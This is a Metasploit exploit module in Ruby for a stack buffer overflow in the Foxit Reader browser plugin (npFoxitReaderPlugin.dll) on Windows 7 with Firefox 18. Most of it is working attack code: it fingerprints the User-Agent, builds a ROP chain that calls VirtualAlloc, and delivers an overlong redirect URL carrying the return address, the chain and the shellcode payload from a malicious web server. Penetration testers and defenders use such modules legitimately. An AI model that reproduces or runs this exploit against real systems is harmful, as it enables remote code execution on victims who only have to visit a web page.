##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpServer::HTML
Rank = NormalRanking
def initialize(info={})
super(update_info(info,
'Name' => "Foxit Reader Plugin URL Processing Buffer Overflow",
'Description' => %q{
This module exploits a vulnerability in the Foxit Reader Plugin, it exists in
the npFoxitReaderPlugin.dll module. When loading PDF files from remote hosts,
overly long query strings within URLs can cause a stack-based buffer overflow,
which can be exploited to execute arbitrary code. This exploit has been tested
on Windows 7 SP1 with Firefox 18.0 and Foxit Reader version 5.4.4.11281
(npFoxitReaderPlugin.dll version 2.2.1.530).
},
'License' => MSF_LICENSE,
'Author' =>
[
'rgod <rgod[at]autistici.org>', # initial discovery and poc
'Sven Krewitt <svnk[at]krewitt.org>', # metasploit module
'juan vazquez', # metasploit module
],
'References' =>
[
[ 'OSVDB', '89030' ],
[ 'BID', '57174' ],
[ 'EDB', '23944' ],
[ 'URL', 'http://retrogod.altervista.org/9sg_foxit_overflow.htm' ],
[ 'URL', 'http://secunia.com/advisories/51733/' ]
],
'Payload' =>
{
'Space' => 2000,
'DisableNops' => true
},
'DefaultOptions' =>
{
'EXITFUNC' => "process",
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
# npFoxitReaderPlugin.dll version 2.2.1.530
[ 'Automatic', {} ],
[ 'Windows 7 SP1 / Firefox 18 / Foxit Reader 5.4.4.11281',
{
'Offset' => 272,
'Ret' => 0x1000c57d, # pop # ret # from npFoxitReaderPlugin
'WritableAddress' => 0x10045c10, # from npFoxitReaderPlugin
:rop => :win7_rop_chain
}
]
],
'Privileged' => false,
'DisclosureDate' => "Jan 7 2013",
'DefaultTarget' => 0))
end
def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
#Mozilla/5.0 (Windows NT 6.1; rv:18.0) Gecko/20100101 Firefox/18.0
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
firefox = agent.scan(/Firefox\/(\d+\.\d+)/).flatten[0] || ''
case nt
when '5.1'
os_name = 'Windows XP SP3'
when '6.0'
os_name = 'Windows Vista'
when '6.1'
os_name = 'Windows 7'
end
if os_name == 'Windows 7' and firefox =~ /18/
return targets[1]
end
return nil
end
def junk
return rand_text_alpha(4).unpack("L")[0].to_i
end
def nops
make_nops(4).unpack("N*")
end
# Uses rop chain from npFoxitReaderPlugin.dll (foxit) (no ASLR module)
def win7_rop_chain
# rop chain generated with mona.py - www.corelan.be
rop_gadgets =
[
0x1000ce1a, # POP EAX # RETN [npFoxitReaderPlugin.dll]
0x100361a8, # ptr to &VirtualAlloc() [IAT npFoxitReaderPlugin.dll]
0x1000f055, # MOV EAX,DWORD PTR DS:[EAX] # RETN [npFoxitReaderPlugin.dll]
0x10021081, # PUSH EAX # POP ESI # RETN 0x04 [npFoxitReaderPlugin.dll]
0x10007971, # POP EBP # RETN [npFoxitReaderPlugin.dll]
0x41414141, # Filler (RETN offset compensation)
0x1000614c, # & push esp # ret [npFoxitReaderPlugin.dll]
0x100073fa, # POP EBX # RETN [npFoxitReaderPlugin.dll]
0x00001000, # 0x00001000-> edx
0x1000d9ec, # XOR EDX, EDX # RETN
0x1000d9be, # ADD EDX,EBX # POP EBX # RETN 0x10 [npFoxitReaderPlugin.dll]
junk,
0x100074a7, # POP ECX # RETN [npFoxitReaderPlugin.dll]
junk,
junk,
junk,
0x41414141, # Filler (RETN offset compensation)
0x00000040, # 0x00000040-> ecx
0x1000e4ab, # POP EBX # RETN [npFoxitReaderPlugin.dll]
0x00000001, # 0x00000001-> ebx
0x1000dc86, # POP EDI # RETN [npFoxitReaderPlugin.dll]
0x1000eb81, # RETN (ROP NOP) [npFoxitReaderPlugin.dll]
0x1000c57d, # POP EAX # RETN [npFoxitReaderPlugin.dll]
nops,
0x10005638, # PUSHAD # RETN [npFoxitReaderPlugin.dll]
].flatten.pack("V*")
return rop_gadgets
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
my_target = get_target(agent)
# Avoid the attack if no suitable target found
if my_target.nil?
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end
unless self.respond_to?(my_target[:rop])
print_error("Invalid target specified: no callback function defined")
send_not_found(cli)
return
end
return if ((p = regenerate_payload(cli)) == nil)
# we use two responses:
# one for an HTTP 301 redirect and sending the payload
# and one for sending the HTTP 200 OK with appropriate Content-Type
if request.resource =~ /\.pdf$/
# sending Content-Type
resp = create_response(200, "OK")
resp.body = ""
resp['Content-Type'] = 'application/pdf'
resp['Content-Length'] = rand_text_numeric(3,"0")
cli.send_response(resp)
return
else
resp = create_response(301, "Moved Permanently")
resp.body = ""
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
if datastore['SSL']
schema = "https"
else
schema = "http"
end
sploit = rand_text_alpha(my_target['Offset'] - "#{schema}://#{my_host}:#{datastore['SRVPORT']}#{request.uri}.pdf?".length)
sploit << [my_target.ret].pack("V") # EIP
sploit << [my_target['WritableAddress']].pack("V") # Writable Address
sploit << self.send(my_target[:rop])
sploit << p.encoded
resp['Location'] = request.uri + '.pdf?' + Rex::Text.uri_encode(sploit, 'hex-all')
cli.send_response(resp)
# handle the payload
handler(cli)
end
end
end
